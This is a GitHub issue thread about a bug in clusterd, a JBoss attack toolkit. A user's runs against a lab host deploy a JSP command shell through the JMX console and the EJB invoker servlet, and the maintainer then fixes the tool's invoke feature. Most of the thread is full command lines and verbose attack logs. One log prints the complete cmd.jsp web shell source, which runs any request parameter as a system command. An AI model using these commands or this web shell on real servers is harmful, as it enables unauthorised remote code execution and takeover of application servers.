invoke command does not invoke on jboss 4.2.2.GA #25

thsle3p · 2014-06-27T21:48:41Z

I have tried both:
./clusterd.py -i 192.168.56.102 -p 8080 --deployer dfs_deploy --deploy ~/test.war --invoke which gives the following output and deploys the jsp command shell but does not invoke or deploy my war file
[2014-06-27 05:42PM] Started at 2014-06-27 05:42PM
[2014-06-27 05:42PM] Servers' OS hinted at windows
[2014-06-27 05:42PM] Fingerprinting host '192.168.56.102'
[2014-06-27 05:42PM] Checking jboss version 3.2 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 3.2 JBoss Web Console...
[2014-06-27 05:42PM] Checking jboss version 3.0 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 4.2 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 4.2 JBoss Web Console...
[2014-06-27 05:42PM] Checking jboss version 4.0 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 4.0 JBoss Web Console...
[2014-06-27 05:42PM] Checking jboss version 5.1 JBoss Web Manager...
[2014-06-27 05:42PM] Checking jboss version 5.1 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 5.1 JBoss Web Console...
[2014-06-27 05:42PM] Checking jboss version 5.0 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 5.0 JBoss Web Console...
[2014-06-27 05:42PM] Checking jboss version 6.0 JBoss Web Manager...
[2014-06-27 05:42PM] Checking jboss version 6.1 JBoss Web Manager...
[2014-06-27 05:42PM] Checking jboss version 6.1 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 6.0 JBoss JMX Console...
[2014-06-27 05:42PM] Checking jboss version 7.1 JBoss Management...
[2014-06-27 05:42PM] Checking jboss version 7.0 JBoss Management...
[2014-06-27 05:42PM] Checking jboss version 8.1 JBoss Management...
[2014-06-27 05:42PM] Checking jboss version 8.0 JBoss Management...
[2014-06-27 05:42PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2014-06-27 05:42PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2014-06-27 05:42PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2014-06-27 05:42PM] Checking jboss version Any JBoss RMI Interface...
[2014-06-27 05:42PM] Checking jboss version Any JBoss Status Page...
[2014-06-27 05:42PM] Matched 7 fingerprints for service jboss
[2014-06-27 05:42PM] JBoss JMX Console (version 4.2)
[2014-06-27 05:42PM] JBoss Web Console (version 4.2)
[2014-06-27 05:42PM] JBoss EJB Invoker Servlet (version Any)
[2014-06-27 05:42PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2014-06-27 05:42PM] JBoss JMX Invoker Servlet (version Any)
[2014-06-27 05:42PM] JBoss RMI Interface (version Any)
[2014-06-27 05:42PM] JBoss Status Page (version Any)
[2014-06-27 05:42PM] Fingerprinting completed.
[2014-06-27 05:42PM] This deployer requires a JSP, default to cmd.jsp? [Y/n] > y
[2014-06-27 05:42PM] Preparing to deploy cmd...
[2014-06-27 05:42PM] Successfully deployed '/cmd/cmd.jsp'
[2014-06-27 05:42PM] Finished at 2014-06-27 05:42PM

I also tried using EJB: ./clusterd.py -i 192.168.56.102 -p 8080 --deployer ejbinvokerservlet --deploy ~/test.war --invoke

    clusterd/0.3.1 - clustered attack toolkit
        [Supporting 6 platforms]

[2014-06-27 05:36PM] Started at 2014-06-27 05:36PM
[2014-06-27 05:36PM] Servers' OS hinted at windows
[2014-06-27 05:36PM] Fingerprinting host '192.168.56.102'
[2014-06-27 05:36PM] Checking jboss version 3.2 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 3.2 JBoss Web Console...
[2014-06-27 05:36PM] Checking jboss version 3.0 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 4.2 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 4.2 JBoss Web Console...
[2014-06-27 05:36PM] Checking jboss version 4.0 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 4.0 JBoss Web Console...
[2014-06-27 05:36PM] Checking jboss version 5.1 JBoss Web Manager...
[2014-06-27 05:36PM] Checking jboss version 5.1 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 5.1 JBoss Web Console...
[2014-06-27 05:36PM] Checking jboss version 5.0 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 5.0 JBoss Web Console...
[2014-06-27 05:36PM] Checking jboss version 6.0 JBoss Web Manager...
[2014-06-27 05:36PM] Checking jboss version 6.1 JBoss Web Manager...
[2014-06-27 05:36PM] Checking jboss version 6.1 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 6.0 JBoss JMX Console...
[2014-06-27 05:36PM] Checking jboss version 7.1 JBoss Management...
[2014-06-27 05:36PM] Checking jboss version 7.0 JBoss Management...
[2014-06-27 05:36PM] Checking jboss version 8.1 JBoss Management...
[2014-06-27 05:36PM] Checking jboss version 8.0 JBoss Management...
[2014-06-27 05:36PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2014-06-27 05:36PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2014-06-27 05:36PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2014-06-27 05:36PM] Checking jboss version Any JBoss RMI Interface...
[2014-06-27 05:36PM] Checking jboss version Any JBoss Status Page...
[2014-06-27 05:36PM] Matched 7 fingerprints for service jboss
[2014-06-27 05:36PM] JBoss JMX Console (version 4.2)
[2014-06-27 05:36PM] JBoss Web Console (version 4.2)
[2014-06-27 05:36PM] JBoss EJB Invoker Servlet (version Any)
[2014-06-27 05:36PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2014-06-27 05:36PM] JBoss JMX Invoker Servlet (version Any)
[2014-06-27 05:36PM] JBoss RMI Interface (version Any)
[2014-06-27 05:36PM] JBoss Status Page (version Any)
[2014-06-27 05:36PM] Fingerprinting completed.
[2014-06-27 05:36PM] Preparing to deploy /home/bob/test.war...
[2014-06-27 05:36PM] This deployer requires a JSP, default to cmd.jsp? [Y/n] > y
[2014-06-27 05:36PM] cmd deployed to 192.168.56.102 (/cmd160)
[2014-06-27 05:36PM] Finished at 2014-06-27 05:36PM
Neither works in executing the war file.

The text was updated successfully, but these errors were encountered:

hatRiot · 2014-06-27T21:50:57Z

Certain deployers can only deploy JSP files and not WAR packages. Have you tried accessing /cmd/cmd.jsp on the remote host? It appears to have deployed successfully.

thsle3p · 2014-06-27T22:00:17Z

I can, My mistake I was under the impression that jboss delt with WAR
files universally.
On Fri, 2014-06-27 at 14:50 -0700, bryan alexander wrote:

Certain deployers can only deploy JSP files and not WAR packages. Have
you tried accessing /cmd/cmd.jsp on the remote host?

—
Reply to this email directly or view it on GitHub.

hatRiot · 2014-06-27T22:04:50Z

It's still curious that --invoke didn't work. Can you rerun with -d and post the output?

[edit]: actually, invoke wouldn't do much in these cases because you're running it with the default cmd.jsp. It should work fine with jmx_deploy or some other deployer that handles WAR files.

thsle3p · 2014-06-27T22:08:14Z

For DFS:
./clusterd.py -i 192.168.56.102 -p 8080 --deployer dfs_deploy --deploy
~/test.war --invoke -d

    clusterd/0.3.1 - clustered attack toolkit
        [Supporting 6 platforms]

[2014-06-27 06:06PM] Started at 2014-06-27 06:06PM
[2014-06-27 06:06PM] Servers' OS hinted at windows
[2014-06-27 06:06PM] Fingerprinting host '192.168.56.102'
[2014-06-27 06:06PM] Loading fingerprint engine 'jboss'
[2014-06-27 06:06PM] Checking jboss version 3.2 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 3.2 JBoss Web Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 3.0 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 4.2 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 4.2 JBoss Web Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 4.0 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 4.0 JBoss Web Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 5.1 JBoss Web Manager...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/admin-console/login.seam with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 5.1 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 5.1 JBoss Web Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 5.0 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 5.0 JBoss Web Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 6.0 JBoss Web Manager...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Fetching hash from
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar
[2014-06-27 06:06PM] Checking jboss version 6.1 JBoss Web Manager...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Fetching hash from
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar
[2014-06-27 06:06PM] Checking jboss version 6.1 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 6.0 JBoss JMX Console...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version 7.1 JBoss Management...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css with
arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Fetching hash from
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css
[2014-06-27 06:06PM] Checking jboss version 7.0 JBoss Management...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css with
arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Fetching hash from
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css
[2014-06-27 06:06PM] Checking jboss version 8.1 JBoss Management...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/console/app/community.css with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Fetching hash from
http://192.168.56.102:8080/console/app/community.css
[2014-06-27 06:06PM] Checking jboss version 8.0 JBoss Management...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/console/app/community.css with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Fetching hash from
http://192.168.56.102:8080/console/app/community.css
[2014-06-27 06:06PM] Checking jboss version Any JBoss EJB Invoker
Servlet...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/invoker/EJBInvokerServlet with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version Any JBoss HTTP Headers
(Unreliable)...
[2014-06-27 06:06PM] Making GET request to http://192.168.56.102:8080
with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version Any JBoss JMX Invoker
Servlet...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/invoker/JMXInvokerServlet with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:06PM] Checking jboss version Any JBoss RMI Interface...
[2014-06-27 06:06PM] Checking jboss version Any JBoss Status Page...
[2014-06-27 06:06PM] Making GET request to
http://192.168.56.102:8080/status?full=true with arguments {'verify':
False, 'timeout': 5.0}
[2014-06-27 06:06PM] Matched 7 fingerprints for service jboss
[2014-06-27 06:06PM] JBoss JMX Console (version 4.2)
[2014-06-27 06:06PM] JBoss Web Console (version 4.2)
[2014-06-27 06:06PM] JBoss EJB Invoker Servlet (version Any)
[2014-06-27 06:06PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2014-06-27 06:06PM] JBoss JMX Invoker Servlet (version Any)
[2014-06-27 06:06PM] JBoss RMI Interface (version Any)
[2014-06-27 06:06PM] JBoss Status Page (version Any)
[2014-06-27 06:06PM] Fingerprinting completed.
[2014-06-27 06:06PM] Loading auxiliary for 'jboss'...
[2014-06-27 06:06PM] Loading deployers for platform jboss
[2014-06-27 06:06PM] Deploying WAR with deployer JBoss JMX Console
(dfs_deploy)
[2014-06-27 06:06PM] This deployer requires a JSP, default to cmd.jsp?
[Y/n] > y
[2014-06-27 06:06PM] Preparing to deploy cmd...
[2014-06-27 06:06PM] Making POST request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor with arguments
{'verify': False, 'data': OrderedDict([('action', 'invokeOp'), ('name',
'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5),
('arg0', '/home/bob/Toolz/clusterd/src/lib/resources/cmd.war'), ('arg1',
'cmd'), ('arg2', '.jsp'), ('arg3', '<%@ page
import="java.util.,java.io."%>\n<%\n%>\n\nCommands with
JSP\n

\n\n\n\n

\n<%\nif

(request.getParameter("cmd") != null) {\n    out.println("Command: " +

request.getParameter("cmd") + "
");\n\n    Process p;\n    if

( System.getProperty("os.name").toLowerCase().indexOf("windows") !=

-1){\n        p = Runtime.getRuntime().exec("cmd.exe /C " +

request.getParameter("cmd"));\n    }\n    else{\n        p =

Runtime.getRuntime().exec(request.getParameter("cmd"));\n    }\n

OutputStream os = p.getOutputStream();\n    InputStream in =

p.getInputStream();\n    DataInputStream dis = new DataInputStream(in);

\n    String disr = dis.readLine();\n    while ( disr != null ) {\n

out.println(disr);\n    disr = dis.readLine();\n    }\n}\n%

\n

\n\n'), ('arg4', True)]), 'timeout': 5.0}
[2014-06-27 06:06PM] Successfully deployed '/cmd/cmd.jsp'
[2014-06-27 06:06PM] Failed to find a JSP in the deployed WAR
[2014-06-27 06:06PM] Finished at 2014-06-27 06:06PM
for EJB:
./clusterd.py -i 192.168.56.102 -p 8080 --deployer ejbinvokerservlet
--deploy ~/test.war --invoke

    clusterd/0.3.1 - clustered attack toolkit
        [Supporting 6 platforms]

[2014-06-27 06:07PM] Started at 2014-06-27 06:07PM
[2014-06-27 06:07PM] Servers' OS hinted at windows
[2014-06-27 06:07PM] Fingerprinting host '192.168.56.102'
[2014-06-27 06:07PM] Checking jboss version 3.2 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 3.2 JBoss Web Console...
[2014-06-27 06:07PM] Checking jboss version 3.0 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 4.2 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 4.2 JBoss Web Console...
[2014-06-27 06:07PM] Checking jboss version 4.0 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 4.0 JBoss Web Console...
[2014-06-27 06:07PM] Checking jboss version 5.1 JBoss Web Manager...
[2014-06-27 06:07PM] Checking jboss version 5.1 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 5.1 JBoss Web Console...
[2014-06-27 06:07PM] Checking jboss version 5.0 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 5.0 JBoss Web Console...
[2014-06-27 06:07PM] Checking jboss version 6.0 JBoss Web Manager...
[2014-06-27 06:07PM] Checking jboss version 6.1 JBoss Web Manager...
[2014-06-27 06:07PM] Checking jboss version 6.1 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 6.0 JBoss JMX Console...
[2014-06-27 06:07PM] Checking jboss version 7.1 JBoss Management...
[2014-06-27 06:07PM] Checking jboss version 7.0 JBoss Management...
[2014-06-27 06:07PM] Checking jboss version 8.1 JBoss Management...
[2014-06-27 06:07PM] Checking jboss version 8.0 JBoss Management...
[2014-06-27 06:07PM] Checking jboss version Any JBoss EJB Invoker
Servlet...
[2014-06-27 06:07PM] Checking jboss version Any JBoss HTTP Headers
(Unreliable)...
[2014-06-27 06:07PM] Checking jboss version Any JBoss JMX Invoker
Servlet...
[2014-06-27 06:07PM] Checking jboss version Any JBoss RMI Interface...
[2014-06-27 06:07PM] Checking jboss version Any JBoss Status Page...
[2014-06-27 06:07PM] Matched 7 fingerprints for service jboss
[2014-06-27 06:07PM] JBoss JMX Console (version 4.2)
[2014-06-27 06:07PM] JBoss Web Console (version 4.2)
[2014-06-27 06:07PM] JBoss EJB Invoker Servlet (version Any)
[2014-06-27 06:07PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2014-06-27 06:07PM] JBoss JMX Invoker Servlet (version Any)
[2014-06-27 06:07PM] JBoss RMI Interface (version Any)
[2014-06-27 06:07PM] JBoss Status Page (version Any)
[2014-06-27 06:07PM] Fingerprinting completed.
[2014-06-27 06:07PM] Preparing to deploy /home/bob/test.war...
[2014-06-27 06:07PM] This deployer requires a JSP, default to cmd.jsp?
[Y/n] > y
[2014-06-27 06:07PM] cmd deployed to 192.168.56.102 (/cmd286)
[2014-06-27 06:07PM] Finished at 2014-06-27 06:07PM

On Fri, 2014-06-27 at 15:04 -0700, bryan alexander wrote:

It's still curious that --invoke didn't work. Can you rerun with -d
and post the output?

—
Reply to this email directly or view it on GitHub.

thsle3p · 2014-06-27T22:10:19Z

Scratch the ejb output here it is:
./clusterd.py -i 192.168.56.102 -p 8080 --deployer ejbinvokerservlet
--deploy ~/test.war --invoke -d

    clusterd/0.3.1 - clustered attack toolkit
        [Supporting 6 platforms]

[2014-06-27 06:09PM] Started at 2014-06-27 06:09PM
[2014-06-27 06:09PM] Servers' OS hinted at windows
[2014-06-27 06:09PM] Fingerprinting host '192.168.56.102'
[2014-06-27 06:09PM] Loading fingerprint engine 'jboss'
[2014-06-27 06:09PM] Checking jboss version 3.2 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 3.2 JBoss Web Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 3.0 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 4.2 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 4.2 JBoss Web Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 4.0 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 4.0 JBoss Web Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 5.1 JBoss Web Manager...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/admin-console/login.seam with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 5.1 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 5.1 JBoss Web Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 5.0 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 5.0 JBoss Web Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/web-console/ServerInfo.jsp with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 6.0 JBoss Web Manager...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Fetching hash from
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar
[2014-06-27 06:09PM] Checking jboss version 6.1 JBoss Web Manager...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Fetching hash from
http://192.168.56.102:8080/admin-console/plugins/jopr-hibernate-plugin-3.0.0.jar
[2014-06-27 06:09PM] Checking jboss version 6.1 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 6.0 JBoss JMX Console...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Atype%3DServer with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version 7.1 JBoss Management...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css with
arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Fetching hash from
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css
[2014-06-27 06:09PM] Checking jboss version 7.0 JBoss Management...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css with
arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Fetching hash from
http://192.168.56.102:8080/console/app/gwt/chrome/chrome_rtl.css
[2014-06-27 06:09PM] Checking jboss version 8.1 JBoss Management...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/console/app/community.css with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Fetching hash from
http://192.168.56.102:8080/console/app/community.css
[2014-06-27 06:09PM] Checking jboss version 8.0 JBoss Management...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/console/app/community.css with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Fetching hash from
http://192.168.56.102:8080/console/app/community.css
[2014-06-27 06:09PM] Checking jboss version Any JBoss EJB Invoker
Servlet...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/invoker/EJBInvokerServlet with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version Any JBoss HTTP Headers
(Unreliable)...
[2014-06-27 06:09PM] Making GET request to http://192.168.56.102:8080
with arguments {'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version Any JBoss JMX Invoker
Servlet...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/invoker/JMXInvokerServlet with arguments
{'verify': False, 'timeout': 5.0}
[2014-06-27 06:09PM] Checking jboss version Any JBoss RMI Interface...
[2014-06-27 06:09PM] Checking jboss version Any JBoss Status Page...
[2014-06-27 06:09PM] Making GET request to
http://192.168.56.102:8080/status?full=true with arguments {'verify':
False, 'timeout': 5.0}
[2014-06-27 06:09PM] Matched 7 fingerprints for service jboss
[2014-06-27 06:09PM] JBoss JMX Console (version 4.2)
[2014-06-27 06:09PM] JBoss Web Console (version 4.2)
[2014-06-27 06:09PM] JBoss EJB Invoker Servlet (version Any)
[2014-06-27 06:09PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2014-06-27 06:09PM] JBoss JMX Invoker Servlet (version Any)
[2014-06-27 06:09PM] JBoss RMI Interface (version Any)
[2014-06-27 06:09PM] JBoss Status Page (version Any)
[2014-06-27 06:09PM] Fingerprinting completed.
[2014-06-27 06:09PM] Loading auxiliary for 'jboss'...
[2014-06-27 06:09PM] Loading deployers for platform jboss
[2014-06-27 06:09PM] Deploying WAR with deployer JBoss EJB Invoker
Servlet (ejbinvokerservlet)
[2014-06-27 06:09PM] Preparing to deploy /home/bob/test.war...
[2014-06-27 06:09PM] This deployer requires a JSP, default to cmd.jsp?
[Y/n] > y
[2014-06-27 06:10PM] cmd deployed to 192.168.56.102 (/cmd75)
[2014-06-27 06:10PM] Failed to find a JSP in the deployed WAR
[2014-06-27 06:10PM] Finished at 2014-06-27 06:10PM

On Fri, 2014-06-27 at 15:04 -0700, bryan alexander wrote:

It's still curious that --invoke didn't work. Can you rerun with -d
and post the output?

—
Reply to this email directly or view it on GitHub.

* src/module/invoke_payload.py -- Fixed correctly parsing the file if a JSP is being invoked -- I was mistakenly appending the random_int to the payload if an ejb/jmx invoker was found, meaning the URL was totally wrong -- This was failing in the bug report, thirdly, because of the DFS deployer. On various JBoss instances, it takes a couple seconds for the server to fully deploy the payload. We now probe the URL 5 times over 10 seconds to give the server adequate time to get it set up.

hatRiot · 2014-06-28T02:38:14Z

Thanks a bunch for this bug report; three issues were uncovered with the --invoker flag when JSP payloads were being deployed and invoked. This should now be working as expected.

Cheers!

hatRiot closed this as completed Jun 30, 2014

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

invoke command does not invoke on jboss 4.2.2.GA #25

invoke command does not invoke on jboss 4.2.2.GA #25

thsle3p commented Jun 27, 2014

hatRiot commented Jun 27, 2014

thsle3p commented Jun 27, 2014

hatRiot commented Jun 27, 2014

thsle3p commented Jun 27, 2014

thsle3p commented Jun 27, 2014

hatRiot commented Jun 28, 2014

invoke command does not invoke on jboss 4.2.2.GA #25

invoke command does not invoke on jboss 4.2.2.GA #25

Comments

thsle3p commented Jun 27, 2014

hatRiot commented Jun 27, 2014

thsle3p commented Jun 27, 2014

hatRiot commented Jun 27, 2014

thsle3p commented Jun 27, 2014

thsle3p commented Jun 27, 2014

hatRiot commented Jun 28, 2014